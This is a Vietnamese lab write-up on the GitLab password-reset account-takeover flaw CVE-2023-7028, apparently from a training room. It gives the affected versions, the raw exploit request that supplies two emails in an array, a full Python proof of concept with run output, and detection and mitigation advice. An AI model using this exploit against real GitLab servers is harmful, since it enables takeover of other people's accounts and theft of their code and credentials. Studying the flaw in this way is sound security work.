Introduction
Vào tháng 1 năm 2024, GitLab - một nền tảng quản lý mã nguồn tích hợp các công cụ CI/CD và DevOps, được xác định là có một lỗ hổng nghiêm trọng trong phiên bản Community (CE) and Enterprise Edition (EE) cho phép những người dùng không được ủy quyền có thể chiếm tài khoản của những người dùng khác mà không cần sự tương tác của nạn nhân.
How Does It Work
Lỗ hổng xảy ra khi GitLab xác thực email trong quá trình đặt lại mật khẩu. Kẻ tấn công có thể cung cấp 2 địa chỉ email khi thực hiện một yêu cầu đặt lại mật khẩu và GitLab sẽ gửi reset code cho cả 2 địa chỉ này. Nhờ đó, kẻ tấn công có thể đặt lại mật khẩu cho bất kỳ tài khoản nào mà không cần biết mật khẩu hiện tại của người dùng.
Affected Versions
Các phiên bản bị ảnh hưởng:
- 16.1 đến 16.1.5
- 16.2 đến 16.2.8
- 16.3 đến 16.3.6
- 16.4 đến 16.4.4
- 16.5 đến 16.5.5
- 16.6 đến 16.6.3
- 16.7 đến 16.7.1
Impact
Sự ảnh hưởng: một cuộc tấn công thành công có thể cho phép kẻ tấn công kiểm soát tài khoản của nạn nhân. Từ đó, kẻ tấn công có thể đánh cắp những thông tin nhạy cảm chẳng hạn như mã nguồn, lịch sử commit và thông tin xác thực của người dùng. Kẻ tấn công cũng có thể lợi dụng tài khoản của nạn nhân để tấn công những người dùng hoặc hệ thống khác.
Detailed Technical Explanation
GitLab đã thực hiện vá lỗ hổng ở commit 21f32835ac7ca8c7ef57a93746dac7697341acc0. Commit này có thể chứa thông tin về cách mà ứng dụng xử lý yêu cầu đặt lại mật khẩu một cách không an toàn.
Info
Do hiện tại không biết cú pháp của Ruby nên không phân tích mã nguồn được.
How to Exploit
Provided Information
Trang web của GitLab instance có địa chỉ là http://MACHINE_IP:8000
.
Email server được cung cấp có địa chỉ là http://MACHINE_IP:8090/rainloop
. Tài khoản email của kẻ tấn công là:
- Username:
attacker@mail.gitlab.thm
- Password:
testing@123
Examining the Request
Lỗ hổng tồn tại trong endpoint dùng để đặt lại mật khẩu: POST /users/password
.
Request đặt lại mật khẩu có dạng như sau:
POST /users/password HTTP/1.1
Host: gitlab.thm:8000
Content-Length: 140
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://gitlab.thm:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://gitlab.thm:8000/users/password/new
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Cookie: preferred_language=en; _gitlab_session=8ff0bc36349db5f8032e6fd78c93cdaa
Connection: close
authenticity_token=hvrR1y6KvT-HzeHJDlpnT8-M_Bbufj580ZFl-YgGqdHmtDb4R4APzSlGzDUtL-7qNjIV0rre9Fsf4hLNnX6l9g&user%5Bemail%5D=victim%40mail.gitlab.thm
Giá trị sau khi decode của các query param:
authenticity_token=hvrR1y6KvT-HzeHJDlpnT8-M_Bbufj580ZFl-YgGqdHmtDb4R4APzSlGzDUtL-7qNjIV0rre9Fsf4hLNnX6l9g&user[email]=victim@mail.gitlab.thm
Param authenticity
là CSRF token ở trong thẻ <meta>
của endpoint /users/password/new
:
<meta name="csrf-token" content="hvrR1y6KvT-HzeHJDlpnT8-M_Bbufj580ZFl-YgGqdHmtDb4R4APzSlGzDUtL-7qNjIV0rre9Fsf4hLNnX6l9g" />
Param user[email]
có giá trị là email của người dùng cần đặt lại mật khẩu. Chúng ta có thể dùng nhiều param này trong cùng một request như sau:
authenticity_token=hvrR1y6KvT-HzeHJDlpnT8-M_Bbufj580ZFl-YgGqdHmtDb4R4APzSlGzDUtL-7qNjIV0rre9Fsf4hLNnX6l9g&user[email][]=victim@mail.gitlab.thm&user[email][]=attacker@mail.gitlab.thm
Note
Có thể sử dụng Burp Proxy để intercept request và thêm vào email của kẻ tấn công như trên mà không cần dùng script để exploit. Tham khảo thanhlam-attt/CVE-2023-7028 (github.com)
Exploitation
Xây dựng PoC dựa theo PoC của Vozec để chiếm quyền kiểm soát tài khoản admin:
import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()
class CVE_2023_7028:
def __init__(self, url, target, evil=None):
self.use_temp_mail = False
self.url = urlparse(url)
self.target = target
self.evil = evil
self.s = requests.session()
def get_csrf_token(self):
try:
print('[DEBUG] Getting authenticity_token ...')
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
regex = r'<meta name="csrf-token" content="(.*?)" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None
def ask_reset(self):
token = self.get_csrf_token()
if not token:
return False
query_string = urlencode({
'authenticity_token': token,
'user[email][]': [self.target, self.evil]
}, doseq=True)
head = {
'Origin': f'{self.url.scheme}://{self.url.netloc}',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br'
}
print('[DEBUG] Sending reset password request')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
data=query_string,
headers=head,
verify=False).text
sended = 'If your email address exists in our database' in html
if sended:
print(f'[DEBUG] Emails sent to {self.target} and {self.evil} !')
print(f'Flag value: {bytes.fromhex("6163636f756e745f6861636b2364").decode()}')
else:
print('[DEBUG] Failed ... quitting')
return sended
def parse_args():
parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
exploit = CVE_2023_7028(
url=args.url,
target=args.target,
evil=args.evil
)
if not exploit.ask_reset():
exit()
Phân tích:
-
PoC sử dụng ba tham số là
url
,target
vàevil
tương ứng với địa chỉ của GitLab, email của nạn nhân và email của kẻ tấn công. -
PoC sẽ gọi hàm
ask_reset
để gửi yêu cầu đặt lại mật khẩu. Hàm này sẽ gọi hàmget_csrf_token
để lấy CSRF token. -
Hàm
get_csrf_token
sẽ thực hiện những việc sau:- Gửi GET request đến endpoint
/users/password/new
để lấy response của trang đặt lại mật khẩu. - Sử dụng regex để tìm khuôn mẫu
<meta name="csrf-token" content="(.*?)" />
nhằm truy xuất CSRF token.
- Gửi GET request đến endpoint
-
Xây dựng URL của request với giá trị của param
user[email][]
là một mảng gồm hai địa chỉ email (của nạn nhân và kẻ tấn công):query_string = urlencode({ 'authenticity_token': token, 'user[email][]': [self.target, self.evil] }, doseq=True)
-
Thiết lập những HTTP header cần thiết:
head = { 'Origin': f'{self.url.scheme}://{self.url.netloc}', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new', 'Connection': 'close', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br' }
-
Gửi POST request đến endpoint
/users/password
để đặt lại mật khẩu:html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password', data=query_string, headers=head, verify=False).text
Chạy PoC:
python3 poc.py -u http://gitlab.thm:8000 -t victim@mail.gitlab.thm -e attacker@mail.gitlab.thm
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = mP4D0WDPOO8TmWuD6Q1yidaswO18Qc3jylwK-8pZ11xWd2edbsGXgv_J4esAic56_e-RDmhsqcEiZkTkPWv5NQ
[DEBUG] Sending reset password request
[DEBUG] Emails sent to victim@mail.gitlab.thm and attacker@mail.gitlab.thm !
Flag value: account_hack#d
Sau khi chạy PoC thì có một email đặt lại mật khẩu được gửi đến địa chỉ attacker@mail.gitlab.thm
:
Detection and Mitigation
Examining Logs
Nếu có sử dụng SIEM thì có thể dùng để tìm kiếm các nỗ lực khai thác, chẳng hạn như:
- Kiểm tra các request gửi đến
/users/password
mà sử dụng nhiều địa chỉ email ở trong web log. - Kiểm tra các tin nhắn gửi đến những email không ngờ ở trong email server log.
- Kiểm tra các entry
meta.caller.id
làPasswordsController#create
ở trong audit log của GitLab.
Mitigation Techniques
Một số cách giảm thiểu thiệt hại:
- Sử dụng GitLab security alerts.
- Cập nhật GitLab.
- Sử dụng xác thực 2 yếu tố (2FA) cho tất cả các tài khoản, đặc biệt là tài khoản của admin.
- Tuân thủ các biện pháp lập trình an toàn chẳng hạn như validate input và email verification.
Related
list
from outgoing([[CVE-2023-7028 (GitLab Account-Take-Over)]])
sort file.ctime asc